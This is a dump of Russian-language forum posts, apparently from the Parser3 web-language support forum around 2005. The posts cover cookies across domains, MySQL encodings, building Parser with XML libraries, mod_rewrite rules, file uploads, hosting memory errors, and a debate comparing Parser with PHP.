\
Парсер в обоих случаях 3.1.4"
"45344","про опции не скажу, а вот вывести binary файл у вас не получится, т.к. парсер обламывается на первом-же символе 0x00.\
^file::load[binary;] нужен фактически для того того чтобы записать его, добавить в аттачмент к email или выдать в $response."
"45345","Всё правильно. Так и должно быть.Это домены разных уровней."
"45346","Ну дак что теперь делать. Если я записал куку там и хочу чтоб ее было видно тут.\
\
Что, ничего не сделать?\
\
$.domain[] не для этого придуман?"
"45347","Вы опередели чуть меня :)\
я как то на днях реализовывал PHP-эквивалент функции file()."
"45348","Вот начал осваивать, но что-то после PHP (4 года кодинга) он мне (а может и не только) показался дико неудобным и с оочень малым колическом базовых функций. Может мне кто-то скажет в чем прелесть Parser3? Ведь за что-то его так любят... Разработчики... был бы рад Вас выслушать :)"
"45349","По-моему в любом случае не выдаст.\
А жаль..."
"45350","Если набрать http://parser.ru/faq/, вас посылают на три буквы —  [url=\"http://www.parser.ru/faq/\"]http://[/url][b][url=\"http://www.parser.ru/faq/\"]www[/url][/b][url=\"http://www.parser.ru/faq/\"].parser.ru/faq/[/url]. В итоге домен всегда един и с куками проблем нет.\
\
Про $.domain вам ответили."
"45351","отложил вопрос, так как намечалось смена хостинга, решил тогда уже базу и обновить\\проверить.\
\
Сейчас перебираюсь на другой хостинг, уже две ночи вожусь пытаюсь заставить работать. Дома локально все получилось, на сервере обновили мускул до последней версии. Глобальные настройки все - utf-8, у меня а ауто.р тоже utf-8 как чарсет отдается, сравнение для мускула стоит - utf8_general_ci. \
\
Но все равно не работает толком, проблема вот в чем беру ли текст с xml файла(utf-8) или прямо в тексте страницы его пишу как утф, в базу попадает неправильный вариант для русского текста. Все(или почти все) русские буквы кроме \"я\",\"с\" сохраняются нормально, вместо \"с\",\"я\" мусор. счтываю с базы вывожу на экран - квадратики. \
Какие могут быть проблемы ?"
"45352","...как Парсер будет отлавливать что это действительно комментарии, а не обычный текст, который нужно вывести?..\
\
К тому же можно написать и вот так (я так пишу):\
[code]\
# Восклицание 2\
@sub2[]\
# ух-ты, круто\
$wow[cool]\
# прямо как в Си, крутой язык этот Parser!\
^they.Rocks[]\
# end @sub2[]\
[/code]"
"45353","хм, поставил collate = latin1_swedish_ci  - весь русский текст сохраняется нормально, но в поле varchar(100) сохраняется только 50 символов.\
..."
"45355","У меня есть такой вопрос: \"Как нужно писать designed by или design by\" Вообще то я люблю жить без всяких заморчек и пишу всё на русском языке. Патриот... Но просто не мало сталкивался с сетевой безтолковостью и неграмотностью. Скажите пожалуйста!"
"45356","Нельзя ли сделать так, чтобы сообщения об ошибках кроме лога, выводились в окно броузера, как это сделано в PHP?"
"45357","Это разные выражения и оба правильны. В первом случае исходное слово — [i]to design[/i], во втором — [i]a design[/i]. Учите алба.. английский! :-)"
"45359","Я конечно могу ошибаться, но у меня такое ощущение, что \"не мало\" в данном контексте пишется слитно, а \"безтолковостью\" через буковку \"с\".\
Имхо, действительно не стоит заморачиваться.\
\
Пожалуйста!"
"45361","Один человек, разработчик, сказал, что в Парсер очень быстро влюбляешься. Вот многие видимо влюбились. :)"
"45365","У меня в системе уже есть предустановленные libxml2, libxslt и glib. Gdome2 я собирал строго по инструкции, предварительно наложив заплатку. В итоге [code]./configure --with-static-xml=/home/user/gnome[/code] даёт ошибку: [code]configure: error: /home/user/gnome does not seem to be valid Gnome installation directory[/code]\
Я так полагаю, что в этой самой [i]gnome[/i] должны лежать все эти [i]libxml2.so[/i] и проч. плюс заголовочные файлы. Так вот, могу я надёргать всё это из системы или мне обязательно нужно скачивать сорцы [i]libxml2 & co[/i] и перекомпилировать это дело?"
"45366","Рецепт то простой - сначала читаем INSTALL и копируем оттуда пути к компонентам. Затем открываем их все браузером, чтобы убедиться, что с момента написания файла Paf'ом много воды утекло и есть более новые версии, а старые ссылки уже не работают. Копируем их в текстовый файлик - одна ссылка на одну строку. Закидываем файлик на хостинг по ftp и через ssh запускаем wget -i имяфайла.txt Оно скачается секунды за три оптом..."
"45367","Нет по идее ведь пассивный залог использует предлог by. Другое значение этого предлога не приемлемо в таком случае..."
"45368","Всё это ерунда, короче люди пишите всё по-русски, и только последний Гоги не будет понимать вас :)"
"45369","... только вот у меня на работе ftp, ssh отрублены наглухо, а ежемесячного трафика дают 80 метров.\
Из дома я конечно залью, однако есть ещё причина, по которым не хочется пересобирать - на linux я перешёл совсем недавно и не очень хорошо представляю, как это повлияет в целом на систему. Ну, то-есть, я допустим пересоберу ту-же libxml2, а потом захочу обновить какие-нибудь пакеты с помощью pkgtool... И... Не получится ли подставы? Понимаю, матёрым юниксоидам это может показаться глупым %))) но тем не менее...\
Потом просто интересно, обязательно ли всё нужно пересобирать? Ну хорошо, в данном случае скачать десять метров и повозиться немножко в общем нетрудно. А если-бы нужно было не четыре, а сорок дополнительных библиотек из коих у меня бы стояли тридцать пять? Обидно было бы всё это переколпачивать, согласитесь?\
Может и надо-то всего скопировать в нужное место несколько файлов...\
В общем, вопрос открыт..."
"45370","- низкая \"стоимость разработки\", низкая \"cost of ownership\". Я вот на жизнь вебдизайном не зарабатываю, а занимаюсь им \"для души\", и заточенность языка под веб позвляет быстро разрабатывать сложные штуковины, ваять которые на perl не осилил бы. Заботливо разложенная разработчиками \"соломка\" помогает не отбивать попу (например, встроенная работа с кодировками, встроенное \"недоверие\" к внешним данным, которое не сделает вас жертвой sql injection, прозрачная работа с почтой - не важно, smtp или sendmail и другое)."
"45371","http://www.parser.ru/forum/?id=45039"
"45372","[quot]14) употребляется в формулах клятв, обещаний с глаголом swear (см. swear by), [b]а также с опущенным глаголом в эллиптических фразах[/b][/quot]\
\
— это наш случай [i]Design by Somebody[/i]."
"45373","и, конечно, читайте же мой INSTALL"
"45374","Правда сам пока не попробовал.\
Вот ссылка - http://www.lincrosoft.com/perlnet.shtml"
"45375","Взял готовый форум на ПХП и написал на туже базу форум на ПАРСЕРе, скорость работы увеличилась в двое, а в некоторых случаях и более.[quot]показался дико неудобным и с оочень малым колическом базовых функций. [/quot]Малое колличество базовых функций не означает малую функциональност. Ещё небыло такой задачи которую я не смог бы решить в ВЕБе на ПАРСЕРе, причём с малой затратой времени, несколько часов до получения полностью готового продукта."
"45376","Заметь, Роман,как оказалось люде чаще используют форму design by. Во блин! Извините..."
"45377","... исходники того форума не распространяете?"
"45378","тот форум был первым, после него написано ещё два, но всё время остаётся чувство неудовлетворения о проделанной работе, сейчас есть идея замахнуться на новый форум. \
Интересно? стучи ICQ 236591005"
"45379","[quot]скорость работы увеличилась в двое[/quot]\
Что за форум был на PHP?\
[quot]Малое колличество базовых функций не означает малую функциональност[/quot]\
Конечно. НО, для PHP существует множество готорых решений, с помошью которых можно с необычайной скоростью изготовлять любые задачи. У парсера, пока что, не так много готовых решений.\
\
Синтаксис ПАРСЕРа тоже не очень радует, если мягко сказать."
"45380","Спорить бессмысленно, индивидуальные предпочтения в определенных нюансах ничего не доказывают. Оставайтесь при своем мнении, здесь его изменить не обещали."
"45381","Мне просто хочелось бы занать, почему счас Parser снановиться популярным у разработчиков? Просто старые перцы, которые пишут на PHP лет 5 уже отзываются не очень об этом языке. \
\
[quot]Спорить бессмысленно[/quot]\
Никто не спорит. Каждый высказывают свою позицию..."
"45382","Интересно, какими методами оценивается рост популярности Парсера? Может есть официальные данные Госкомстата или ООН? :-)\
\
Попробуйте Парсер самостоятельно, ничего другого посоветовать не могу."
"45383","я их гружу и вывожу, проблем не наблюдал."
"45385","Например так:\
есть 2 и более доменов, ссылаются на один хостинг.\
Требуется узнать по какому домену происходит запрос."
"45387","И что значит \"последний Гоги\"?"
"45388","[code]\
# n = 2000 раз\
$n(2000)\
^for[x](1;$n){\
$z($z + ^f1[$x])\
$z\
}[<br>]\
[/code]\
\
почему $z каждый раз присваевается значение функии f1 вместо старого значения $z +  значение функии f1?"
"45389","Вопрос в том что вы почитав учебник по хтмл не почитали учебник по веб-серверам, по базам данных и не почитали доку по Парсеру, в которой все достаточно понятно написано...\
\
Прочитав учебник по хтмл можете идти на народ.ру и вам там будут рады..."
"45390","Довольно часто отхватываю\
\
[code]Unhandled exception 0xC0000005 at 0x00000073[/code]\
Это уже пофикшено в CURRENT или надо выделять и слать сбойный кусок?"
"45391","Народ, помогите!\
Есть такая табличка в Access:\
\
Date | Bool\
\
1.09.05 | Yes\
1.09.05 | Yes\
1.09.05 | No\
2.09.05 | No\
2.09.05 | Yes\
3.09.05 | No\
3.09.05 | No\
5.09.05 | No\
\
надо сгенерировать таблицу такого вида:\
\
Date | Quantity\
\
1.09.05 | 2\
2.09.05 | 1\
3.09.05 | 0\
5.09.05 | 0\
\
, где квонтити - число строк где есть \"Yes\"\
Думаю, это можно сделать одним запросом.\
Помогите, кто может!!!\
Спасибо!\
Андрей\
mailto: fortrash@bigmir.net"
"45393","строка в auto.p \"^if($sections.uri==$request:uri){\"\
выдает ошибку -\
'if' method of MAIN (MAIN) accepts maximum 3 parameter(s) [parser.runtime]\
Пробовал \"^if(3==4){\" - дает ошибку.\
Подскажите что не так?"
"45396","Собрал парсер из ветки HEAD.\
вроде ничего работает (\"на глаз\" даже быстрее :) ) \
можно поинтересоваться - чего там нового кроме ^sleep()?\
интересно новые фичи поюзать...."
"45397","1. низкая \"стоимость разработки\" - неправда, - такая же. Для любительской может быть, но никак не для профессиональной.\
\
2. низкая \"cost of ownership\" - неправда, - думаю даже дороже. В серъезном проекте придется кучу дописывать руками, чего в php, .NET уже давно сделали. Кроме того, придется обучать и держать солидный штат связанный с парсером, а это очень немало.\
\
Вообщем парсер отлично подходит для небольших, любительских проектов, но для больших и серъёзных его стоимость будет точно такой же и даже выше, нежели чем у других."
"45398","[code]\
$s[A magic moment I'll remember!] \
Исходная строка: $s<br> \
$rep[^table::create{from   to \
A An \
magic   ugly}] \
Исковерканная строка: ^s.replace[$rep]\
[/code]\
Выдает не обработанную строку.\
Проверьте, это только мой баг?"
"45401","[url=\"http://www.avto-zalog.ru/info.html\"]http://www.avto-zalog.ru/info.html[/url]\
На серваке Red Hat Linux\
Дома Win32"
"45402","А чего, на твой взгляд, не хватает для быстрой и не дорогой разработки приложений на Парсере? Может быть отработанного и обширного API на языке функций?"
"45403","находится где-то дальше, приводи весь оператор if"
"45405","трудно сказать, у меня всё работает, проверь таблицу $rep  столбцы разделяются табуляцией"
"45406","1. Инструментов - отладчики, каркасы (framework) тестирования, IDE и пр.\
2. Готовых компонентов.\
3. Зрелости языка и наличия большого количества специалистов на нем работающих и его поддерживающих. Большое количество это от 100000"
"45407","^if($sections.uri eq $request:uri){\
    <td class=\"selmenu\" align=\"left\" width=\"121\">\
      &nbsp;<nobr>$sections.name</nobr>\
    </td>\
}{\
	<td class=\"ivm\" align=\"left\" width=\"121\">\
	  &nbsp;<a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
	</td>\
}\
if взят из \"Урок 2. Меню навигации и структура страниц\""
"45408","^if(условие){\
   код \
}{\
   код \
}\
как как в описании и примерах на сайте."
"45409","ошибка была внутри оператора -\
он не понимал \"&nbsp;\""
"45410","только не русский понять нас не сможет. Ну можно изменить на имя Джон Смит, а какое вам больше нравится?"
"45411","вот тут начали общение.\
http://www.parser.ru/forum/?id=45340\
\
Я отлекся немного.\
Продолжим.\
\
\
Перефразируем задачу.\
\
Есть сайт www.supersait1.ru и www.supersait2.ru\
\
Есть ли возможность сделать так, чтобы кука созданая на странице www.supersait1.ru/ была видна на странице www.supersait2.ru/\
\
Жду ответа. Спасибо."
"45413","Parser понял [b];[/b] как разделитель параметров т.е. у тебя появился в операторе лишний параметр, если хочешь вставить неразрывний пробел или что ещё делай так [b]&nbsp^;[/b]"
"45415","Бинарник как текстовый тоже не считать..."
"45417","Спасибо! Я так так и сделал. Помогла Ваша подсказка, что ошибка внутри оператора if. Просто в log-файле стояла ссылка ошибки на операторе if и я не анализировал его содержание. Еще раз спасибо за подсказку!"
"45418","Главнейшее условие на самом деле, - когда человек приходит с подобными вопросами (чем парсер лучше), нужно не тыкать его мордой в говно, пардон в FAQ и форум, а каждый раз терпеливо объяснять что к чему.\
\
Именно грамотная и терпеливая просветительная политика сделает язык популярным, а не какие-либо супер идеи в него заложенные. А этого, как раз и не хватает 100% обитателей этого форума, к создателям это тоже относится. Каюсь, сам этим грешил(шу).\
\
Люди это не автоматы, покорно переходящие по ссылке и не задающие вопросов. Человек существо иррациональное, поэтому к нему особый подход нужен :)"
"45419","Установлен Денвер-Тест Parser v3.1.4 работает.\
застрял на 2 уроке-почитал все что здесь про 2 урок есть на форуме..скажите что нет так делаю..\
[b]index.html[/b]\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\
<html>\
<head>\
<title>Untitled Document</title>\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\">\
</head>\
<body>\
^navigation[]\
@greeting[]\
Welcome!\
@body_additional[] \
Home page\
@body_main[] \
Main content\
Welcome!\
</body>\
</html>\
[b]parser3.log[/b]\
www/index.html(8:14): parse error, expecting `$' [parser.compile]"
"45420","...хрена вы так плохо читаете и разбираете примерники. Нужно не просто читать, но думать и понимать логику работы языка. Поначалу трудно, сам был такой. \
Просто перечитывайте хорошенько доку и думайте!"
"45421","Сделайте, пожалуйста, в соответствии с документацией."
"45422","Читаю 2 день...если бы мог разобраться..не спрашивал.Я только начинаю учиться.Если есть возможность,проконсультировать онлайн? ICQ 15545148"
"45423","Извините  конечно, цитата из урока 2:\
[i]Привычные HTML-страницы трансформируются примерно в следующее (примерное содержание index.html файла для главной страницы): \
\
@greeting[] \
Добро пожаловать! \
\
@body_additional[] \
Главная страница сайта \
\
@body_main[] \
Основное содержание \
[/i]"
"45425","то могу выслать / выложить.\
 3.2.0beta версию без XML c MySQL под линукс"
"45426","нет, это было бы криво в целях политики безопасности.\
Но! Можно на сайте www.supersait1.ru во фрейм ставить страницу www.supersait2.ru которая и будет писать точно такую-же куку которая пишеться на www.supersait1.ru"
"45427","Ошибка как раз в этом и была(точнее в коде из первого урока)..все заработало:)\
за исправление остальных ошибок спасиб  [b]redactor[/b]"
"45428","Делаю экспорт из 1С в xml\
Далее захожу на сайт, в форме выбираю этот файл xml у себя на компьютере, нажимаю отправить - файл успешно парсится, данные записываются в mysql.\
\
Вопрос в следующем: как сделать, чтобы данные отправить сразу из 1С на определенный URL, в котором будет указан, где на компьютере лежит этот файл. Ну, типа http://site.ru/?p=xml_upload&file=c:/temp/1.xml\
\
Возможно ли это вообще?"
"45429","ну совсем не в тему для этого форума [quot]Ну, типа http://site.ru/?p=xml_upload&file=c:/temp/1.xml[/quot]ты даёшь линк на файл, насколько мне известно 1С хранит все данные в свей базе, а не в файлах и избежать процедуры экспорта не получится\
\
Так, что пересылай вопрос разработчикам 1С"
"45430","как из 1C отправить - понятно. (алгоритм в два шага: 1)экспортировать в xml-файл на локальном компьютере 2) загрузить файл на сервер).\
\
непонятно, как получить файл на сервере.\
\
Поясню на примере. Вот когда я пишу типа...\
[code]<form method=\"post\" enctype=\"multipart/form-data\">\
<input type=\"file\" name=\"xml\">\
<input type=\"text\" name=\"user\">\
<input type=\"submit\">\
</form>[/code]\
\
...я после выбора файла и отправки могу получить доступ к загруженному файлу через $form:xml и сохранять его затем или парсить или еще что.\
\
вопрос в том, как обойтись без этой формы? например, без формы можно сообщить поле user, набрав в браузере index.html?user=vasya.\
\
А как сообщить файл?"
"45431","дело в том, что когда вы создали форму и отправляете с её помощью файл на сервер броузер делает работы больше, чем когда вы просто обращаетесь на сервер по ссылке.\
\
броузер открывает ещё один поток, и отправляет файл через него, предварительно заенкодив файл.\
\
чтобы послать файл на сервер не с помощью броузера вы должны найти что-то, что сможет выполнить подобный post. однако в любом случае это будет не 1C (думаю она не умеет выполнять POST). т.е. вы в любом случае будете пользоваться какой-то дополнительной утилитой. т.к. я не решал подобных задач я не могу подсказать утилит для этого, но уверен что они есть. но возникает вопрос: почему не взять утилиту, которая загрузит этот файл на сервер по FTP например? по моему это можно сделать с помощью имеющейся на win программы ftp.exe ( Start | Run | cmd | ftp.exe -h )?"
"45432","А приведённый код со сдвигом и лимитом у Вас работает?"
"45433","Уважаемый Александр!\
\
Недавно мы перенесли свой сайт www.ganeman.ru на хостинг rusonyx постояноо проблемы следующего плана:\
\
[Wed Oct 05 00:55:37 2005] [error] [client 194.44.18.90] (12)Cannot allocate memory: couldn't spawn child process: /home/webadmin/ganeman.ru/cgi-bin/parser3.cgi, referer: http://ganeman.ru/\
[Wed Oct 05 01:16:28 2005] [error] [client 81.19.66.39] (12)Cannot allocate memory: couldn't create child process: 12: parser3.cgi\
\
[Fri Oct 07 15:50:52 2005] [error] [client 83.237.87.42] File does not exist: /home/webadmin/ganeman.ru/html/info/gosts/img/2184-77_11.gif, referer: http://ganeman.ru/info/gosts/g_2184-77.html\
[Fri Oct 07 17:24:46 2005] [error] [client 80.123.144.98] File does not exist: /home/webadmin/ganeman.ru/html/about/unpz.html\
\
У нас виртуальный ВЕБ-сервер, работает еще один сайт на php, но ошибки сыплются из ganeman.ru, написанный на Парсере. Тех поддержка рекомендует купить более дорогой тариф.  И утверждают, что данный сайт падает по причине большой нагрузки, которую создает сайт на php, но тот-то стоит и работает железно.\
Сталкивались Вы с аналогичной проблемой? Какие могут быть пути решения проблемы?"
"45434","Был вопрос[quot] как сделать, чтобы данные отправить сразу из 1С на определенный URL,[/quot]теперь я так понимаю совсем наоборон необходимо, что б сервер сам забирал файл.\
Но если ты как админ делаешь экспорт из 1С вручную так и отправь его вручную через форму, зачем лишняя головная боль.\
Если нужно что б клиент кликав на ссылку получал обновлённый файл который сервер будет вытаскивать с другой машины (думаю решаемо, типа как файл с другого сервера), но какое-же это обновление если сам файл старый и обновляется в ручную?"
"45436","[quot]парсер отлично подходит для небольших[/quot]\
ВО! С этим я согласен. Писать что-то небольшое, Parser - то что нужно. Ну а если писать, к примеру, сложный магазин или каталог, то лично я тут с PHP не слезу... :)"
"45437","теперь более-менее понятно куда копать.\
значит, есть даже два варианта: один через ftp (не очень подходит лично для меня, но, может быть, возьмем и его) и другой с утилитой (поискал в сети, пока нашел только Inetcrack, она работает методом POST, но файлы не отправляет)\
\
2sergey: sorry, если не ясно выразился в первом письме"
"45438","Добрый день!\
Объясните пожалуйста принцип организации новостей, например,на сайте: www.life-line.ru\
Каждой новости соответствует ссылка: /2005/10/07/\
Не создается же для каждой новости своя папка!\
Или же тут применяется mod_rewrite?\
Спасибо"
"45442","На то оно и сложное :) Собственно тут парсер ничем не лучше и не хуже php. Проекты АЛГ тоже немаленькие, и они все работают.\
\
Однако все забывают, что в случае с каким-нибудь .NET, php или java, вам не придется держать серъёзных спецов по C++, то в случае с парсером придется, ну а согласятся ли эти спецы поддерживать и развивать язык, - это отдельный вопрос.\
\
Однако, идеи заложенные в язык, отличные, широкому распространению мешает лишь молодость да сырость. Кроме того, у АЛГ нет серъёзных ресурсов и желания для его продвижения, таких как например у сантехники или майкрософт."
"45443","Ну до этого даже я догадался.\
Уже давно.\
\
Ладно будем делать так."
"45444","[quot]На то оно и сложное :) Собственно тут парсер ничем не лучше и не хуже php[/quot]\
Не согласен тут. В чем \"слабость\" Parser'a так это то, для него оочень мало существует готовых библиотек. (по крайней мере, на первый взгляд так кажется... и на второй и на третий :) ) А все остальное дело вкуса. Писать можно что угодно на чем угодно :) Просто лично я, не люблю изобретать велосипедов.\
\
Я б на месте разработчиков открыл бы что-то на подобии pear.php.net для PHP. На мой взгляд, сие ресурс быстро бы пополнялся велосипедами. И росла бы популярность Parser'a.\
\
Но я не вижу каких-то резких причин слезать с PHP (да и зачем?), хотя в Parser'e есть интересные вещи.\
\
В общем, это все лирика.\
\
Спасибо всем, кто участвовал в дискуссии."
"45445","Простейший вариант (у меня по нему и сделано).\
1.  Планировщик (периодический запуск чего-либо типа export.bat).\
2.  Excel, прога на VBA - экспорт элементов базы данных из бухгалтерии в plain text файл.\
3.  ftp - доставка на сервер.\
\
Все штатно-виндовое."
"45446","Небольшой код для автоизации пользователя...\
К сожалению он не работает.\
И мне трудно сказать почему, может уважаемые форумчане укажут мне на мою ошибку.\
[code]\
@authorize[]\
$logged_user[^table::sql{select\
		`id`, `logon`, `password`, `rights`, `name`, `mail`\
	from\
		users\
	where \
		`logon` like '^taint[uri][$cookie:login]' \
	and\
		`password` = '^taint[uri][$cookie:pass]'\
  }]\
  ^if(!def $logged_user){\
#если пользователь незалогинен\
#выводим форму\
<p>Зарегтесь</p>\
<form method=\"post\">\
<label for=\"login\">Логин:</label>\
<input type=\"text\" name=\"login\" /><br />\
<label for=\"password\">Пароль:</label>\
<input type=\"password\" name=\"password\" />\
<input type=\"submit\" name=\"in\" value=\"Войти\" /></form>\
#сверяем с бд\
^if(def $form:login && def $form:password && def $form:in){\
$logg[^table::sql{select\
      `id`, `logon`, `password`, `rights`, `name`, `mail`\
	from\
		users\
	where\
		`logon` like '$form:login' \
	and\
		`password`='^math:md5[^taint[uri][$form:password]]'\
}]\
}\
^if($logg.logon eq ^taint[uri][$form:logon] && $logg.password eq ^math:md5[^taint[uri][$form:password]]){\
# и если все верно добавляем в куки\
$cookie:pass[\
   $.value[^math:md5[^taint[uri][$form:password]]] \
   $.expires[session]\
]\
   $cookie:login[\
   $.value[^taint[uri][$form:logon]] \
   $.expires[session]\
]\
}\
}{\
<h4>$logged_user.logon</h4>\
}\
[/code]"
"45447","А я так:\
\
RewriteEngine on\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^(.*)$	/index.html?%QUERY_STRING%\
\
Правда я пишу не со своего компа, и могу немного ошибиться в синтаксисе переменной. Если что поправьте.\
\
Таким образом в моих контроллерах(MVC-парадигма), идет разбор урла, а заодно POST и GET данных"
"45448","А что не работает? Сервер что отвечает?\
\
на первый взгляд, механизм непривычен...\
Зачем везде [b]^taint[uri][/b]\
Если проверяешь куку длительного хранения, зачем прогонять её по БД? Ты же её сам создал.\
При авторизации из формы по логину вытащи пароль и сверь. (В документации этот процесс хорошо описан) Зачем тянуть всю строку?"
"45449","Код вообще ужасный:\
1.Зачем в данном случае ^taint[uri]\
2.Названия полей таблицы пишутся без всяких одинарных кавычек.В одинарных кавычках пушутся значения полей если эти значения -- строки.\
Если же значения полей не строки то они тоже пишутся без кавычек.\
3.Зачем Вы делаете вот это:\
[code]\
^if($logg.logon eq ^taint[uri][$form:logon] && $logg.password eq ^math:md5[^taint[uri][$form:password]]){...}\
\
Если Вы уже сделали эту проверку внутри sql запроса:\
\
#сверяем с бд\
^if(def $form:login && def $form:password && def $form:in){\
$logg[^table::sql{select\
      `id`, `logon`, `password`, `rights`, `name`, `mail`\
	from\
		users\
	where\
		`logon` like '$form:login' \
	and\
		`password`='^math:md5[^taint[uri][$form:password]]'\
}]\
}\
[/code]\
4.Почитайте про form:fields и form:tables\
5.Зачем вам id если Вы его не используете?=)\
6.Хранить пароль в кукисах мягко говоря небезопасно.\
\
И что именно не работает(текст ошибки)?\
p.s. У меня с доп. изменениями работает."
"45450","Проблема такая из базы данных вытаскивается информация которая выводиться в виде чекбоксов, как сновая её записать в значения поля value чекбокса их много поэтому перечислять все невозможно ? Подскажите решение я то уже всю голову сломал не прумал, наверное тут как то хасш должен помочь."
"45451","[code]<input type=\"checkbox\" name=\"parameter\" value=\"[b]value1[/b]\"/>\
<input type=\"checkbox\" name=\"parameter\" value=\"[b]value2[/b]\"/>\
<input type=\"checkbox\" name=\"parameter\" value=\"[b]value3[/b]\"/>[/code]\
\
Или вы про другое?"
"45452","$form:tables\
\
Такая конструкция возвращает хеш со всеми полями формы или параметрами, переданными через URL. Имена ключей хеша те же, что и у полей формы, значениями же являются таблицы, см. ниже.\
\
$form:tables.поле_формы   \
\
Если поле формы имеет хотя бы одно значение, такая конструкция возвращает таблицу (объект класса table) с одним столбцом field, содержащим все значения поля. Используется для получения множества значений поля.\
Внимание: не забудьте проверить наличие таблицы перед тем, как начать ею оперировать.\
\
Пример\
Выберите, чем вы увлекаетесь в свободное время:\
<form method=\"POST\">\
   <p><input type=checkbox name=hobby value=\"Театр\">Театром</p>\
   <p><input type=checkbox name=hobby value=\"Кино\">Кино</p>\
   <p><input type=checkbox name=hobby value=\"Книги\">Книгами</p>\
   <p><input type=submit value=\"OK\"></p>\
</form>\
$hobby[$form:tables.hobby]\
^if($hobby){\
    Ваши хобби:<br>\
    ^hobby.menu{\
        $hobby.field\
    }[<br>]\
}{\
    Ничего не выбрано\
}"
"45455","Я во всех проектах использую эту библиотеку: http://dklab.ru/lib/Database_Placeholder/ (Это аналог Placeholder'ов в Perl'e)\
так что инъекции исключены полностью!"
"45463","подобного давно не встречалось, не починено. шлите?"
"45464","кое-какие вещи в грамматике неправильно обрабатываются. поправлю..\
\
раз есть энтузиазм, попробуйте попользовать главное новшество: свойства.\
\
[code]\
@CLASS\
test\
\
@SET_redactor[value]\
^throw[debug;here]\
@GET_redactor[]\
molodets\
[/code]\
и потом\
[code]\
$test:redactor\
$test:redactor[new]\
[/code]\
\
и не только static.\
и ещё можно наследовать и переопределять."
"45465","есть такая утилитка — wget.\
умеет делать post из командного файла."
"45466","означает ровно то, что вам говорит ваша поддержка.\
причины, скорее всего в том, что где-то что-то написано неоптимально, или что нагрузка реально превышает параметры хостинга.\
\
про анализ нагрузки в parser можно почитать тут:\
http://www.parser.ru/docs/lang/statusrusage.htm"
"45467","Без видимых причин (ничего не менялось на сервере) в логе апача стали появлятся такие ошибки, сайт при этом, ессно недоступен.\
В какую сторону копать, подскажите пожалуйста?\
Версия 3.1.4\
\
Хостер (Зенон) естесственно сказал, что проблема в парсере, а он знать ничего не знает."
"45468","собранная под любую платформу."
"45469","Красиво. \
уже пробую."
"45470","Как преобразовать URL вида /forum/?area=flood&topic=10 в вид\
/forum/flood/10/ при том что оба параметра меняются? Как преобразовывать первый параметр я понял: \
[code]\
RewriteEngine	on\
RewriteRule	^([a-zA-z_]+)([\\/]?)$	/forum/?area=$1	[L]\
[/code]\
\
а как быть со вторым?\
\
Заранее спасибо."
"45471","Посмотрите и умножте на 2 :-)\
\
http://www.parser.ru/forum/?id=38237"
"45473","Есть скрипт что-то типа такого\
^padtable.menu{\
  $PadUrl[$padtable.padfile]\
  ^try{ \
	$f[]\
	$f[^file::load[binary;^untaint[as-is]{$PadUrl};$.timeout(30)]]\
	$Doc[^xdoc::create{^untaint[as-is]{$f.text}}]\
    	^ProcessPadFile2[]\
   }{   	$exception.handled(1)  }\
\
запускаю его из под ssh, на сервере. Проблема вот в чем, она качает и парсит файлы, потом вдруг спотыкается на одном из файлов - выдает ошибку таймаута, и после этого _все_ следующие файлы тоже не скачиваются из-за превышения таймаута. Перезапускаю скрипт начиная с проблемного файла - все скачиваются нормально, включая первый. Такое практически не наблюдается если в талице около 10 урлов, но при более 40 обязательно падает. В чем может быть проблема ?\
\
Причем часто он пишет таймаут на совершено нормальные файлы, то есть в броузере они мгновенно открываются.. тоже не понятно что происходит."
"45476","parser с каждым файлом заново начинает время отсчитывать.\
см. pa_common.C, alarm(timeout_secs);"
"45478","попробуйте сузить до минимального теста и пришлите bug.html?\
\
(без базы данных и достаточно, чтобы воспроизвести)."
"45480","Извините, но во-первых я не знаю, как сделать bug.html\
А во-вторых ошибка появляется очень спонтанно, никакой системы нет.\
\
База данных тоже не используется."
"45481","пароль хранится в кукисах и таинтится чтобы туда лишнего не закинули, а кавычки та как есть поле password которое в mysql ключевое\
код поправлю, спасибо."
"45482","Где это можно посмотреть? сервер знакомого, так посмотрим куда надо, но это маловероятно.\
\
Я уже начал было думать о том что у сервера связь падает, но нет, похоже проблема либо в парсере либо в скрипте.  Перед загрузкой укаленного файла поставил загрузку локального в эту же переменную, обернув в try. вот так\
\
\
   ^try{    $f[^file::load[binary;/test.phtml;$.timeout(3)]]\
         }{\
             <font color=\"#FF0000\">Local File Load Filed !!!!</font><br>  	\
              $exception.handled(1)\
        }\
     $f[^file::load[binary;^untaint[as-is]{$PadUrl};$.timeout(20)]]   \
\
Теперь наблюдаю следеющее : сначала все идет нормально, потом начиная с какого-то момента локальный файл не загружается, выдает исключение, зато нужные удаленные файлы после этого грузятся. \
Такое ощущение что флаг исключения для не сбрасывался при $exception.handled(1)   но управление сюда доходило вроде.\
Конечно проблему это решает, но криво как-то :("
"45483","не пойманный вор = успешный вор."
"45484","Подскажите, пожалуйста, что мне сделать, чтобы предоставить вам дополнительную информацию, в случае ее повторения. Первый раз натыкаюсь на такого рода ошибки. Ссылками на уже обсуждавшееся тоже можно кинуть. Только поиск по фразе, которая в заголовке - не дает ничего."
"45486","...аналогичные проблемы на Русониксе. Причем тарифный план самый большой VPS. \
Интересно, что ошибки Cannot allocate memory: couldn't spawn child process возникают не сразу, а после некоторого времени после запуска apache (в моем случае примерно через сутки). Я перезапускаю apache, и ошибок снова не происходит в течение некоторого времени.\
Может быть, происходит какая-то утечка памяти от процессов parsera? Можно ли это как-то проверить?"
"45487","Никогда не устанавливал парсер на сервер. Подскажите пожалуйста что для этого нужно сделать?"
"45488","Вроде я всё смогу сделать сам..."
"45490","Хотелось бы узнать кое-какие детали..."
"45492","В наличии сервер Apache/2.0.54 (FreeBSD 5.4).\
Раньше проект работал под Apache 1.3 -  никаких проблем не было.\
\
Задача: передавать урлы несуществующих файлов парсер-скрипту, который извлекает нужные документы из базы или выдает сообщение об ошибке (404 и т.д.).\
\
Область проблемы:  работа rewrite_mod c файлами, которым назначен обработчик в виде CGI скрипта. (Handler/Action).\
\
Суть проблемы: согласно rewrite_log - происходит корректный разбор строки согласно условиям и  регулярному выражению, после чего ядро возвращает модулю строку \
/cgi-bin/parser3.cgi/our_parser_file.html, и rewrite_mod разбирает эту строку. \
